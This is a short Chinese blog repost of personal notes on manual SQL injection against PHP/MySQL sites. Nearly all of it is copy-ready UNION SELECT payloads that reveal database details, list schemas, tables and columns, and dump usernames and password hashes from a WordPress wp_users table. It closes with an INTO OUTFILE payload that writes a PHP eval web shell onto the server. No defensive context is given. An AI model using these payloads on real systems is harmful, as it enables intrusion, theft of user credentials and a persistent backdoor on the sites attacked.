php手工注入笔记

最新推荐文章于 2025-08-15 22:28:40 发布

weixin_34107955

最新推荐文章于 2025-08-15 22:28:40 发布

阅读量52

点赞数

CC 4.0 BY-SA版权

文章标签： php python

原文链接：https://my.oschina.net/changpinghu/blog/92528

本文介绍了一种通过SQL注入获取敏感信息的方法，包括获取数据库信息、列出所有数据库、展示所有表名以及显示特定表中的所有列名和数据。此外还提到了如何利用load_file()函数进行文件读取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

2019独角兽企业重金招聘Python工程师标准>>>

爆信息：
and 1=2 union select group_concat(user(),0x7c,database(),0x7c,version())--
============================================================================
1,爆库
and 1=2 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --

2,爆表
and 1=2 union select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x776f72647072657373--

3,爆字段
and 1=2 union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_name=0x77705f7573657273--

4,爆密码
and 1=2 union select group_concat(user_login,0x7c,user_pass) from wordpress.wp_users--

=============================================================================
load_file()

select ‘<?php eval_r($_POST[cmd])?>' into outfile '物理路径'